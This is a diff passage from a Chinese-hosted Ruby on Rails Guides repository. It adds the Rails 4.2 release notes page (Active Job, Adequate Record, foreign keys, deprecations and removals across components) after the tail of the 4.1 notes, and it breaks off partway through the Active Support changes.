  • Removed deprecated nil-passing to the following SchemaCache methods: +primary_keys, tables, columns and columns_hash.

  • +
  • Removed deprecated block filter from ActiveRecord::Migrator#migrate.

  • +
  • Removed deprecated String constructor from ActiveRecord::Migrator.

  • +
  • Removed deprecated scope use without passing a callable object.

  • +
  • Removed deprecated transaction_joinable= in favor of begin_transaction +with a :joinable option.

  • +
  • Removed deprecated decrement_open_transactions.

  • +
  • Removed deprecated increment_open_transactions.

  • +
  • Removed deprecated PostgreSQLAdapter#outside_transaction? +method. You can use #transaction_open? instead.

  • +
  • Removed deprecated ActiveRecord::Fixtures.find_table_name in favor of +ActiveRecord::Fixtures.default_fixture_model_name.

  • +
  • Removed deprecated columns_for_remove from SchemaStatements.

  • +
  • Removed deprecated SchemaStatements#distinct.

  • +
  • Moved deprecated ActiveRecord::TestCase into the Rails test +suite. The class is no longer public and is only used for internal +Rails tests.

  • +
  • Removed support for deprecated option :restrict for :dependent +in associations.

  • +
  • Removed support for deprecated :delete_sql, :insert_sql, :finder_sql +and :counter_sql options in associations.

  • +
  • Removed deprecated method type_cast_code from Column.

  • +
  • Removed deprecated ActiveRecord::Base#connection method. +Make sure to access it via the class.

  • +
  • Removed deprecation warning for auto_explain_threshold_in_seconds.

  • +
  • Removed deprecated :distinct option from Relation#count.

  • +
  • Removed deprecated methods partial_updates, partial_updates? and +partial_updates=.

  • +
  • Removed deprecated method scoped.

  • +
  • Removed deprecated method default_scopes?.

  • +
  • Remove implicit join references that were deprecated in 4.0.

  • +
  • Removed activerecord-deprecated_finders as a dependency. +Please see the gem README +for more info.

  • +
  • Removed usage of implicit_readonly. Please use readonly method +explicitly to mark records as +readonly. (Pull Request)

  • +
+

6.2 Deprecations

+
    +
  • Deprecated quoted_locking_column method, which isn't used anywhere.

  • +
  • Deprecated ConnectionAdapters::SchemaStatements#distinct, +as it is no longer used by internals. (Pull Request)

  • +
  • Deprecated rake db:test:* tasks as the test database is now +automatically maintained. See railties release notes. (Pull +Request)

  • +
  • Deprecate unused ActiveRecord::Base.symbolized_base_class +and ActiveRecord::Base.symbolized_sti_name without +replacement. Commit

  • +
+

6.3 Notable changes

+
    +
  • Default scopes are no longer overridden by chained conditions.
  • +
+

Before this change when you defined a default_scope in a model + it was overridden by chained conditions in the same field. Now it + is merged like any other scope. More Details.

+
    +
  • Added ActiveRecord::Base.to_param for convenient "pretty" URLs derived from +a model's attribute or +method. (Pull Request)

  • +
  • Added ActiveRecord::Base.no_touching, which allows ignoring touch on +models. (Pull Request)

  • +
  • Unify boolean type casting for MysqlAdapter and Mysql2Adapter. +type_cast will return 1 for true and 0 for false. (Pull Request)

  • +
  • .unscope now removes conditions specified in +default_scope. (Commit)

  • +
  • Added ActiveRecord::QueryMethods#rewhere which will overwrite an existing, +named where condition. (Commit)

  • +
  • Extended ActiveRecord::Base#cache_key to take an optional list of timestamp +attributes of which the highest will be used. (Commit)

  • +
  • Added ActiveRecord::Base#enum for declaring enum attributes where the values +map to integers in the database, but can be queried by +name. (Commit)

  • +
  • Type cast json values on write, so that the value is consistent with reading +from the database. (Pull Request)

  • +
  • Type cast hstore values on write, so that the value is consistent +with reading from the database. (Commit)

  • +
  • Make next_migration_number accessible for third party +generators. (Pull Request)

  • +
  • Calling update_attributes will now throw an ArgumentError whenever it +gets a nil argument. More specifically, it will throw an error if the +argument that it gets passed does not respond to to +stringify_keys. (Pull Request)

  • +
  • CollectionAssociation#first/#last (e.g. has_many) use a LIMITed +query to fetch results rather than loading the entire +collection. (Pull Request)

  • +
  • inspect on Active Record model classes does not initiate a new +connection. This means that calling inspect, when the database is missing, +will no longer raise an exception. (Pull Request)

  • +
  • Removed column restrictions for count, let the database raise if the SQL is +invalid. (Pull Request)

  • +
  • Rails now automatically detects inverse associations. If you do not set the +:inverse_of option on the association, then Active Record will guess the +inverse association based on heuristics. (Pull Request)

  • +
  • Handle aliased attributes in ActiveRecord::Relation. When using symbol keys, +ActiveRecord will now translate aliased attribute names to the actual column +name used in the database. (Pull Request)

  • +
  • The ERB in fixture files is no longer evaluated in the context of the main +object. Helper methods used by multiple fixtures should be defined on modules +included in ActiveRecord::FixtureSet.context_class. (Pull Request)

  • +
  • Don't create or drop the test database if RAILS_ENV is specified +explicitly. (Pull Request)

  • +
  • Relation no longer has mutator methods like #map! and #delete_if. Convert +to an Array by calling #to_a before using these methods. (Pull Request)

  • +
  • find_in_batches, find_each, Result#each and Enumerable#index_by now +return an Enumerator that can calculate its +size. (Pull Request)

  • +
  • scope, enum and Associations now raise on "dangerous" name +conflicts. (Pull Request, +Pull Request)

  • +
  • second through fifth methods act like the first +finder. (Pull Request)

  • +
  • Make touch fire the after_commit and after_rollback +callbacks. (Pull Request)

  • +
  • Enable partial indexes for sqlite >= 3.8.0. +(Pull Request)

  • +
  • Make change_column_null +revertible. (Commit)

  • +
  • Added a flag to disable schema dump after migration. This is set to false +by default in the production environment for new applications. +(Pull Request)

  • +
+

7 Active Model

Please refer to the +Changelog +for detailed changes.

7.1 Deprecations

+
    +
  • Deprecate Validator#setup. This should be done manually now in the +validator's constructor. (Commit)
  • +
+

7.2 Notable changes

+
    +
  • Added new API methods reset_changes and changes_applied to +ActiveModel::Dirty that control changes state.

  • +
  • Ability to specify multiple contexts when defining a +validation. (Pull Request)

  • +
  • attribute_changed? now accepts a hash to check if the attribute was changed +:from and/or :to a given +value. (Pull Request)

  • +
+

8 Active Support

Please refer to the +Changelog +for detailed changes.

8.1 Removals

+
    +
  • Removed MultiJSON dependency. As a result, ActiveSupport::JSON.decode +no longer accepts an options hash for MultiJSON. (Pull Request / More Details)

  • +
  • Removed support for the encode_json hook used for encoding custom objects into +JSON. This feature has been extracted into the activesupport-json_encoder +gem. +(Related Pull Request / +More Details)

  • +
  • Removed deprecated ActiveSupport::JSON::Variable with no replacement.

  • +
  • Removed deprecated String#encoding_aware? core extensions (core_ext/string/encoding).

  • +
  • Removed deprecated Module#local_constant_names in favor of Module#local_constants.

  • +
  • Removed deprecated DateTime.local_offset in favor of DateTime.civil_from_format.

  • +
  • Removed deprecated Logger core extensions (core_ext/logger.rb).

  • +
  • Removed deprecated Time#time_with_datetime_fallback, Time#utc_time and +Time#local_time in favor of Time#utc and Time#local.

  • +
  • Removed deprecated Hash#diff with no replacement.

  • +
  • Removed deprecated Date#to_time_in_current_zone in favor of Date#in_time_zone.

  • +
  • Removed deprecated Proc#bind with no replacement.

  • +
  • Removed deprecated Array#uniq_by and Array#uniq_by!, use native +Array#uniq and Array#uniq! instead.

  • +
  • Removed deprecated ActiveSupport::BasicObject, use +ActiveSupport::ProxyObject instead.

  • +
  • Removed deprecated BufferedLogger, use ActiveSupport::Logger instead.

  • +
  • Removed deprecated assert_present and assert_blank methods, use assert +object.blank? and assert object.present? instead.

  • +
  • Remove deprecated #filter method for filter objects, use the corresponding +method instead (e.g. #before for a before filter).

  • +
  • Removed 'cow' => 'kine' irregular inflection from default +inflections. (Commit)

  • +
+

8.2 Deprecations

+
    +
  • Deprecated Numeric#{ago,until,since,from_now}, the user is expected to +explicitly convert the value into an AS::Duration, i.e. 5.ago => 5.seconds.ago +(Pull Request)

  • +
  • Deprecated the require path active_support/core_ext/object/to_json. Require +active_support/core_ext/object/json instead. (Pull Request)

  • +
  • Deprecated ActiveSupport::JSON::Encoding::CircularReferenceError. This feature +has been extracted into the activesupport-json_encoder +gem. +(Pull Request / +More Details)

  • +
  • Deprecated ActiveSupport.encode_big_decimal_as_string option. This feature has +been extracted into the activesupport-json_encoder +gem. +(Pull Request / +More Details)

  • +
  • Deprecate custom BigDecimal +serialization. (Pull Request)

  • +
+

8.3 Notable changes

+
    +
  • ActiveSupport's JSON encoder has been rewritten to take advantage of the +JSON gem rather than doing custom encoding in pure-Ruby. +(Pull Request / +More Details)

  • +
  • Improved compatibility with the JSON gem. +(Pull Request / +More Details)

  • +
  • Added ActiveSupport::Testing::TimeHelpers#travel and #travel_to. These +methods change current time to the given time or duration by stubbing +Time.now and Date.today.

  • +
  • Added ActiveSupport::Testing::TimeHelpers#travel_back. This method returns +the current time to the original state, by removing the stubs added by travel +and travel_to. (Pull Request)

  • +
  • Added Numeric#in_milliseconds, like 1.hour.in_milliseconds, so we can feed +them to JavaScript functions like +getTime(). (Commit)

  • +
  • Added Date#middle_of_day, DateTime#middle_of_day and Time#middle_of_day +methods. Also added midday, noon, at_midday, at_noon and +at_middle_of_day as +aliases. (Pull Request)

  • +
  • Added Date#all_week/month/quarter/year for generating date +ranges. (Pull Request)

  • +
  • Added Time.zone.yesterday and +Time.zone.tomorrow. (Pull Request)

  • +
  • Added String#remove(pattern) as a short-hand for the common pattern of +String#gsub(pattern,''). (Commit)

  • +
  • Added Hash#compact and Hash#compact! for removing items with nil value +from hash. (Pull Request)

  • +
  • blank? and present? commit to return +singletons. (Commit)

  • +
  • Default the new I18n.enforce_available_locales config to true, meaning +I18n will make sure that all locales passed to it must be declared in the +available_locales +list. (Pull Request)

  • +
  • Introduce Module#concerning: a natural, low-ceremony way to separate +responsibilities within a +class. (Commit)

  • +
  • Added Object#presence_in to simplify value whitelisting. +(Commit)

  • +
+

9 Credits

See the +full list of contributors to Rails for +the many people who spent many hours making Rails, the stable and robust +framework it is. Kudos to all of them.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/4_2_release_notes.html b/v5.0/4_2_release_notes.html new file mode 100644 index 0000000..38d7817 --- /dev/null +++ b/v5.0/4_2_release_notes.html @@ -0,0 +1,1029 @@ + + + + + + + +Ruby on Rails 4.2 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Ruby on Rails 4.2 Release Notes

Highlights in Rails 4.2:

+
    +
  • Active Job
  • +
  • Asynchronous mails
  • +
  • Adequate Record
  • +
  • Web Console
  • +
  • Foreign key support
  • +
+

These release notes cover only the major changes. To learn about other +features, bug fixes, and changes, please refer to the changelogs or check out +the list of commits in +the main Rails repository on GitHub.

+ + + +
+
+ +
+
+
+

1 Upgrading to Rails 4.2

If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 4.1 in case you +haven't and make sure your application still runs as expected before attempting +to upgrade to Rails 4.2. A list of things to watch out for when upgrading is +available in the guide Upgrading Ruby on +Rails.

2 Major Features

2.1 Active Job

Active Job is a new framework in Rails 4.2. It is a common interface on top of +queuing systems like Resque, Delayed +Job, +Sidekiq, and more.

Jobs written with the Active Job API run on any of the supported queues thanks +to their respective adapters. Active Job comes pre-configured with an inline +runner that executes jobs right away.

Jobs often need to take Active Record objects as arguments. Active Job passes +object references as URIs (uniform resource identifiers) instead of marshaling +the object itself. The new Global ID +library builds URIs and looks up the objects they reference. Passing Active +Record objects as job arguments just works by using Global ID internally.

For example, if trashable is an Active Record object, then this job runs +just fine with no serialization involved:

+
+class TrashableCleanupJob < ActiveJob::Base
+  def perform(trashable, depth)
+    trashable.cleanup(depth)
+  end
+end
+
+
+
+

See the Active Job Basics guide for more +information.

2.2 Asynchronous Mails

Building on top of Active Job, Action Mailer now comes with a deliver_later +method that sends emails via the queue, so it doesn't block the controller or +model if the queue is asynchronous (the default inline queue blocks).

Sending emails right away is still possible with deliver_now.

2.3 Adequate Record

Adequate Record is a set of performance improvements in Active Record that makes +common find and find_by calls and some association queries up to 2x faster.

It works by caching common SQL queries as prepared statements and reusing them +on similar calls, skipping most of the query-generation work on subsequent +calls. For more details, please refer to Aaron Patterson's blog +post.

Active Record will automatically take advantage of this feature on +supported operations without any user involvement or code changes. Here are +some examples of supported operations:

+
+Post.find(1)  # First call generates and cache the prepared statement
+Post.find(2)  # Subsequent calls reuse the cached prepared statement
+
+Post.find_by_title('first post')
+Post.find_by_title('second post')
+
+Post.find_by(title: 'first post')
+Post.find_by(title: 'second post')
+
+post.comments
+post.comments(true)
+
+
+
+

It's important to highlight that, as the examples above suggest, the prepared +statements do not cache the values passed in the method calls; rather, they +have placeholders for them.

Caching is not used in the following scenarios:

+
    +
  • The model has a default scope
  • +
  • The model uses single table inheritance
  • +
  • +find with a list of ids, e.g.:
  • +
+
+
+  # not cached
+  Post.find(1, 2, 3)
+  Post.find([1,2])
+
+
+
+ +
    +
  • +find_by with SQL fragments:
  • +
+
+
+  Post.find_by('published_at < ?', 2.weeks.ago)
+
+
+
+

2.4 Web Console

New applications generated with Rails 4.2 now come with the Web +Console gem by default. Web Console adds +an interactive Ruby console on every error page and provides a console view +and controller helpers.

The interactive console on error pages lets you execute code in the context of +the place where the exception originated. The console helper, if called +anywhere in a view or controller, launches an interactive console with the final +context, once rendering has completed.

2.5 Foreign Key Support

The migration DSL now supports adding and removing foreign keys. They are dumped +to schema.rb as well. At this time, only the mysql, mysql2 and postgresql +adapters support foreign keys.

+
+# add a foreign key to `articles.author_id` referencing `authors.id`
+add_foreign_key :articles, :authors
+
+# add a foreign key to `articles.author_id` referencing `users.lng_id`
+add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"
+
+# remove the foreign key on `accounts.branch_id`
+remove_foreign_key :accounts, :branches
+
+# remove the foreign key on `accounts.owner_id`
+remove_foreign_key :accounts, column: :owner_id
+
+
+
+

See the API documentation on +add_foreign_key +and +remove_foreign_key +for a full description.

3 Incompatibilities

Previously deprecated functionality has been removed. Please refer to the +individual components for new deprecations in this release.

The following changes may require immediate action upon upgrade.

3.1 render with a String Argument

Previously, calling render "foo/bar" in a controller action was equivalent to +render file: "foo/bar". In Rails 4.2, this has been changed to mean +render template: "foo/bar" instead. If you need to render a file, please +change your code to use the explicit form (render file: "foo/bar") instead.

3.2 respond_with / Class-Level respond_to +

respond_with and the corresponding class-level respond_to have been moved +to the responders gem. Add +gem 'responders', '~> 2.0' to your Gemfile to use it:

+
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  respond_to :html, :json
+
+  def show
+    @user = User.find(params[:id])
+    respond_with @user
+  end
+end
+
+
+
+

Instance-level respond_to is unaffected:

+
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  def show
+    @user = User.find(params[:id])
+    respond_to do |format|
+      format.html
+      format.json { render json: @user }
+    end
+  end
+end
+
+
+
+

3.3 Default Host for rails server +

Due to a change in Rack, +rails server now listens on localhost instead of 0.0.0.0 by default. This +should have minimal impact on the standard development workflow as both +http://127.0.0.1:3000 and http://localhost:3000 will continue to work as before +on your own machine.

However, with this change you will no longer be able to access the Rails +server from a different machine, for example if your development environment +is in a virtual machine and you would like to access it from the host machine. +In such cases, please start the server with rails server -b 0.0.0.0 to +restore the old behavior.

If you do this, be sure to configure your firewall properly such that only +trusted machines on your network can access your development server.

3.4 Changed status option symbols for render +

Due to a change in Rack, the symbols that the render method accepts for the :status option have changed:

+
    +
  • 306: :reserved has been removed.
  • +
  • 413: :request_entity_too_large has been renamed to :payload_too_large.
  • +
  • 414: :request_uri_too_long has been renamed to :uri_too_long.
  • +
  • 416: :requested_range_not_satisfiable has been renamed to :range_not_satisfiable.
  • +
+

Keep in mind that if calling render with an unknown symbol, the response status will default to 500.

3.5 HTML Sanitizer

The HTML sanitizer has been replaced with a new, more robust, implementation +built upon Loofah and +Nokogiri. The new sanitizer is +more secure and its sanitization is more powerful and flexible.

Due to the new algorithm, the sanitized output may be different for certain +pathological inputs.

If you have a particular need for the exact output of the old sanitizer, you +can add the rails-deprecated_sanitizer +gem to the Gemfile, to have the old behavior. The gem does not issue +deprecation warnings because it is opt-in.

rails-deprecated_sanitizer will be supported for Rails 4.2 only; it will not +be maintained for Rails 5.0.

See this blog post +for more details on the changes in the new sanitizer.

3.6 assert_select +

assert_select is now based on Nokogiri. +As a result, some previously-valid selectors are now unsupported. If your +application is using any of these spellings, you will need to update them:

+
    +
  • +

    Values in attribute selectors may need to be quoted if they contain +non-alphanumeric characters.

    +
    +
    +# before
    +a[href=/]
    +a[href$=/]
    +
    +# now
    +a[href="http://github.com/"]
    +a[href$="/"]
    +
    +
    +
    +
  • +
  • +

    DOMs built from HTML source containing invalid HTML with improperly +nested elements may differ.

    +

    For example:

    +
    +
    +# content: <div><i><p></i></div>
    +
    +# before:
    +assert_select('div > i')  # => true
    +assert_select('div > p')  # => false
    +assert_select('i > p')    # => true
    +
    +# now:
    +assert_select('div > i')  # => true
    +assert_select('div > p')  # => true
    +assert_select('i > p')    # => false
    +
    +
    +
    +
  • +
  • +

    If the data selected contains entities, the value selected for comparison +used to be raw (e.g. AT&amp;T), and now is evaluated +(e.g. AT&T).

    +
    +
    +# content: <p>AT&amp;T</p>
    +
    +# before:
    +assert_select('p', 'AT&amp;T')  # => true
    +assert_select('p', 'AT&T')      # => false
    +
    +# now:
    +assert_select('p', 'AT&T')      # => true
    +assert_select('p', 'AT&amp;T')  # => false
    +
    +
    +
    +
  • +
+

Furthermore substitutions have changed syntax.

Now you have to use a :match CSS-like selector:

+
+assert_select ":match('id', ?)", 'comment_1'
+
+
+
+

Additionally Regexp substitutions look different when the assertion fails. +Notice how /hello/ here:

+
+assert_select(":match('id', ?)", /hello/)
+
+
+
+

becomes "(?-mix:hello)":

+
+Expected at least 1 element matching "div:match('id', "(?-mix:hello)")", found 0..
+Expected 0 to be >= 1.
+
+
+
+

See the Rails Dom Testing documentation for more on assert_select.

4 Railties

Please refer to the Changelog for detailed changes.

4.1 Removals

+
    +
  • The --skip-action-view option has been removed from the +app generator. (Pull Request)

  • +
  • The rails application command has been removed without replacement. +(Pull Request)

  • +
+

4.2 Deprecations

+
    +
  • Deprecated missing config.log_level for production environments. +(Pull Request)

  • +
  • Deprecated rake test:all in favor of rake test as it now run all tests +in the test folder. +(Pull Request)

  • +
  • Deprecated rake test:all:db in favor of rake test:db. +(Pull Request)

  • +
  • Deprecated Rails::Rack::LogTailer without replacement. +(Commit)

  • +
+

4.3 Notable changes

+
    +
  • Introduced web-console in the default application Gemfile. +(Pull Request)

  • +
  • Added a required option to the model generator for associations. +(Pull Request)

  • +
  • +

    Introduced the x namespace for defining custom configuration options:

    +
    +
    +# config/environments/production.rb
    +config.x.payment_processing.schedule = :daily
    +config.x.payment_processing.retries  = 3
    +config.x.super_debugger              = true
    +
    +
    +
    +

    These options are then available through the configuration object:

    +
    +
    +Rails.configuration.x.payment_processing.schedule # => :daily
    +Rails.configuration.x.payment_processing.retries  # => 3
    +Rails.configuration.x.super_debugger              # => true
    +
    +
    +
    +

    (Commit)

    +
  • +
  • +

    Introduced Rails::Application.config_for to load a configuration for the +current environment.

    +
    +
    +# config/exception_notification.yml:
    +production:
    +  url: http://127.0.0.1:8080
    +  namespace: my_app_production
    +development:
    +  url: http://localhost:3001
    +  namespace: my_app_development
    +
    +# config/environments/production.rb
    +Rails.application.configure do
    +  config.middleware.use ExceptionNotifier, config_for(:exception_notification)
    +end
    +
    +
    +
    +

    (Pull Request)

    +
  • +
  • Introduced a --skip-turbolinks option in the app generator to not generate +turbolinks integration. +(Commit)

  • +
  • Introduced a bin/setup script as a convention for automated setup code when +bootstrapping an application. +(Pull Request)

  • +
  • Changed the default value for config.assets.digest to true in development. +(Pull Request)

  • +
  • Introduced an API to register new extensions for rake notes. +(Pull Request)

  • +
  • Introduced an after_bundle callback for use in Rails templates. +(Pull Request)

  • +
  • Introduced Rails.gem_version as a convenience method to return +Gem::Version.new(Rails.version). +(Pull Request)

  • +
+

5 Action Pack

Please refer to the Changelog for detailed changes.

5.1 Removals

+
    +
  • respond_with and the class-level respond_to have been removed from Rails and +moved to the responders gem (version 2.0). Add gem 'responders', '~> 2.0' +to your Gemfile to continue using these features. +(Pull Request, + More Details)

  • +
  • Removed deprecated AbstractController::Helpers::ClassMethods::MissingHelperError +in favor of AbstractController::Helpers::MissingHelperError. +(Commit)

  • +
+

5.2 Deprecations

+
    +
  • Deprecated the only_path option on *_path helpers. +(Commit)

  • +
  • Deprecated assert_tag, assert_no_tag, find_tag and find_all_tag in +favor of assert_select. +(Commit)

  • +
  • +

    Deprecated support for setting the :to option of a router to a symbol or a +string that does not contain a "#" character:

    +
    +
    +get '/posts', to: MyRackApp    => (No change necessary)
    +get '/posts', to: 'post#index' => (No change necessary)
    +get '/posts', to: 'posts'      => get '/posts', controller: :posts
    +get '/posts', to: :index       => get '/posts', action: :index
    +
    +
    +
    +

    (Commit)

    +
  • +
  • +

    Deprecated support for string keys in URL helpers:

    +
    +
    +# bad
    +root_path('controller' => 'posts', 'action' => 'index')
    +
    +# good
    +root_path(controller: 'posts', action: 'index')
    +
    +
    +
    +

    (Pull Request)

    +
  • +
+

5.3 Notable changes

+
    +
  • +

    The *_filter family of methods have been removed from the documentation. Their +usage is discouraged in favor of the *_action family of methods:

    +
    +
    +after_filter          => after_action
    +append_after_filter   => append_after_action
    +append_around_filter  => append_around_action
    +append_before_filter  => append_before_action
    +around_filter         => around_action
    +before_filter         => before_action
    +prepend_after_filter  => prepend_after_action
    +prepend_around_filter => prepend_around_action
    +prepend_before_filter => prepend_before_action
    +skip_after_filter     => skip_after_action
    +skip_around_filter    => skip_around_action
    +skip_before_filter    => skip_before_action
    +skip_filter           => skip_action_callback
    +
    +
    +
    +

    If your application currently depends on these methods, you should use the +replacement *_action methods instead. These methods will be deprecated in +the future and will eventually be removed from Rails.

    +

    (Commit 1, +2)

    +
  • +
  • render nothing: true or rendering a nil body no longer add a single +space padding to the response body. +(Pull Request)

  • +
  • Rails now automatically includes the template's digest in ETags. +(Pull Request)

  • +
  • Segments that are passed into URL helpers are now automatically escaped. +(Commit)

  • +
  • Introduced the always_permitted_parameters option to configure which +parameters are permitted globally. The default value of this configuration +is ['controller', 'action']. +(Pull Request)

  • +
  • Added the HTTP method MKCALENDAR from RFC 4791. +(Pull Request)

  • +
  • *_fragment.action_controller notifications now include the controller +and action name in the payload. +(Pull Request)

  • +
  • Improved the Routing Error page with fuzzy matching for route search. +(Pull Request)

  • +
  • Added an option to disable logging of CSRF failures. +(Pull Request)

  • +
  • When the Rails server is set to serve static assets, gzip assets will now be +served if the client supports it and a pre-generated gzip file (.gz) is on disk. +By default the asset pipeline generates .gz files for all compressible assets. +Serving gzip files minimizes data transfer and speeds up asset requests. Always +use a CDN if you are +serving assets from your Rails server in production. +(Pull Request)

  • +
  • +

    When calling the process helpers in an integration test the path needs to have +a leading slash. Previously you could omit it but that was a byproduct of the +implementation and not an intentional feature, e.g.:

    +
    +
    +test "list all posts" do
    +  get "/posts"
    +  assert_response :success
    +end
    +
    +
    +
    +
  • +
+

6 Action View

Please refer to the Changelog for detailed changes.

6.1 Deprecations

+
    +
  • Deprecated AbstractController::Base.parent_prefixes. +Override AbstractController::Base.local_prefixes when you want to change +where to find views. +(Pull Request)

  • +
  • Deprecated ActionView::Digestor#digest(name, format, finder, options = {}). +Arguments should be passed as a hash instead. +(Pull Request)

  • +
+

6.2 Notable changes

+
    +
  • render "foo/bar" now expands to render template: "foo/bar" instead of +render file: "foo/bar". +(Pull Request)

  • +
  • The form helpers no longer generate a <div> element with inline CSS around +the hidden fields. +(Pull Request)

  • +
  • Introduced a #{partial_name}_iteration special local variable for use with +partials that are rendered with a collection. It provides access to the +current state of the iteration via the index, size, first? and +last? methods. +(Pull Request)

  • +
  • Placeholder I18n follows the same convention as label I18n. +(Pull Request)

  • +
+

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Deprecations

+
    +
  • Deprecated *_path helpers in mailers. Always use *_url helpers instead. +(Pull Request)

  • +
  • Deprecated deliver / deliver! in favor of deliver_now / deliver_now!. +(Pull Request)

  • +
+

7.2 Notable changes

+
    +
  • link_to and url_for generate absolute URLs by default in templates, +it is no longer needed to pass only_path: false. +(Commit)

  • +
  • Introduced deliver_later which enqueues a job on the application's queue +to deliver emails asynchronously. +(Pull Request)

  • +
  • Added the show_previews configuration option for enabling mailer previews +outside of the development environment. +(Pull Request)

  • +
+

8 Active Record

Please refer to the Changelog for detailed changes.

8.1 Removals

+
    +
  • Removed cache_attributes and friends. All attributes are cached. +(Pull Request)

  • +
  • Removed deprecated method ActiveRecord::Base.quoted_locking_column. +(Pull Request)

  • +
  • Removed deprecated ActiveRecord::Migrator.proper_table_name. Use the +proper_table_name instance method on ActiveRecord::Migration instead. +(Pull Request)

  • +
  • Removed unused :timestamp type. Transparently alias it to :datetime +in all cases. Fixes inconsistencies when column types are sent outside of +Active Record, such as for XML serialization. +(Pull Request)

  • +
+

8.2 Deprecations

+
    +
  • Deprecated swallowing of errors inside after_commit and after_rollback. +(Pull Request)

  • +
  • Deprecated broken support for automatic detection of counter caches on +has_many :through associations. You should instead manually specify the +counter cache on the has_many and belongs_to associations for the +through records. +(Pull Request)

  • +
  • Deprecated passing Active Record objects to .find or .exists?. Call +id on the objects first. +(Commit 1, +2)

  • +
  • +

    Deprecated half-baked support for PostgreSQL range values with excluding +beginnings. We currently map PostgreSQL ranges to Ruby ranges. This conversion +is not fully possible because Ruby ranges do not support excluded beginnings.

    +

    The current solution of incrementing the beginning is not correct +and is now deprecated. For subtypes where we don't know how to increment +(e.g. succ is not defined) it will raise an ArgumentError for ranges +with excluding beginnings. +(Commit)

    +
  • +
  • Deprecated calling DatabaseTasks.load_schema without a connection. Use +DatabaseTasks.load_schema_current instead. +(Commit)

  • +
  • Deprecated sanitize_sql_hash_for_conditions without replacement. Using a +Relation for performing queries and updates is the preferred API. +(Commit)

  • +
  • Deprecated add_timestamps and t.timestamps without passing the :null +option. The default of null: true will change in Rails 5 to null: false. +(Pull Request)

  • +
  • Deprecated Reflection#source_macro without replacement as it is no longer +needed in Active Record. +(Pull Request)

  • +
  • Deprecated serialized_attributes without replacement. +(Pull Request)

  • +
  • Deprecated returning nil from column_for_attribute when no column +exists. It will return a null object in Rails 5.0. +(Pull Request)

  • +
  • Deprecated using .joins, .preload and .eager_load with associations +that depend on the instance state (i.e. those defined with a scope that +takes an argument) without replacement. +(Commit)

  • +
+

8.3 Notable changes

+
    +
  • SchemaDumper uses force: :cascade on create_table. This makes it +possible to reload a schema when foreign keys are in place.

  • +
  • Added a :required option to singular associations, which defines a +presence validation on the association. +(Pull Request)

  • +
  • ActiveRecord::Dirty now detects in-place changes to mutable values. +Serialized attributes on Active Record models are no longer saved when +unchanged. This also works with other types such as string columns and json +columns on PostgreSQL. +(Pull Requests 1, +2, +3)

  • +
  • Introduced the db:purge Rake task to empty the database for the +current environment. +(Commit)

  • +
  • Introduced ActiveRecord::Base#validate! that raises +ActiveRecord::RecordInvalid if the record is invalid. +(Pull Request)

  • +
  • Introduced validate as an alias for valid?. +(Pull Request)

  • +
  • touch now accepts multiple attributes to be touched at once. +(Pull Request)

  • +
  • The PostgreSQL adapter now supports the jsonb datatype in PostgreSQL 9.4+. +(Pull Request)

  • +
  • The PostgreSQL and SQLite adapters no longer add a default limit of 255 +characters on string columns. +(Pull Request)

  • +
  • Added support for the citext column type in the PostgreSQL adapter. +(Pull Request)

  • +
  • Added support for user-created range types in the PostgreSQL adapter. +(Commit)

  • +
  • sqlite3:///some/path now resolves to the absolute system path +/some/path. For relative paths, use sqlite3:some/path instead. +(Previously, sqlite3:///some/path resolved to the relative path +some/path. This behavior was deprecated on Rails 4.1). +(Pull Request)

  • +
  • Added support for fractional seconds for MySQL 5.6 and above. +(Pull Request 1, +2)

  • +
  • Added ActiveRecord::Base#pretty_print to pretty print models. +(Pull Request)

  • +
  • ActiveRecord::Base#reload now behaves the same as m = Model.find(m.id), +meaning that it no longer retains the extra attributes from custom +SELECTs. +(Pull Request)

  • +
  • ActiveRecord::Base#reflections now returns a hash with string keys instead +of symbol keys. (Pull Request)

  • +
  • The references method in migrations now supports a type option for +specifying the type of the foreign key (e.g. :uuid). +(Pull Request)

  • +
+

9 Active Model

Please refer to the Changelog for detailed changes.

9.1 Removals

+
    +
  • Removed deprecated Validator#setup without replacement. +(Pull Request)
  • +
+

9.2 Deprecations

+
    +
  • Deprecated reset_#{attribute} in favor of restore_#{attribute}. +(Pull Request)

  • +
  • Deprecated ActiveModel::Dirty#reset_changes in favor of +clear_changes_information. +(Pull Request)

  • +
+

9.3 Notable changes

+
    +
  • Introduced validate as an alias for valid?. +(Pull Request)

  • +
  • Introduced the restore_attributes method in ActiveModel::Dirty to restore +the changed (dirty) attributes to their previous values. +(Pull Request 1, +2)

  • +
  • has_secure_password no longer disallows blank passwords (i.e. passwords +that contains only spaces) by default. +(Pull Request)

  • +
  • has_secure_password now verifies that the given password is less than 72 +characters if validations are enabled. +(Pull Request)

  • +
+

10 Active Support

Please refer to the Changelog for detailed changes.

10.1 Removals

+
    +
  • Removed deprecated Numeric#ago, Numeric#until, Numeric#since, +Numeric#from_now. +(Commit)

  • +
  • Removed deprecated string based terminators for ActiveSupport::Callbacks. +(Pull Request)

  • +
+

10.2 Deprecations

+
    +
  • Deprecated Kernel#silence_stderr, Kernel#capture and Kernel#quietly +without replacement. +(Pull Request)

  • +
  • Deprecated Class#superclass_delegating_accessor, use +Class#class_attribute instead. +(Pull Request)

  • +
  • Deprecated ActiveSupport::SafeBuffer#prepend! as +ActiveSupport::SafeBuffer#prepend now performs the same function. +(Pull Request)

  • +
+

10.3 Notable changes

+
    +
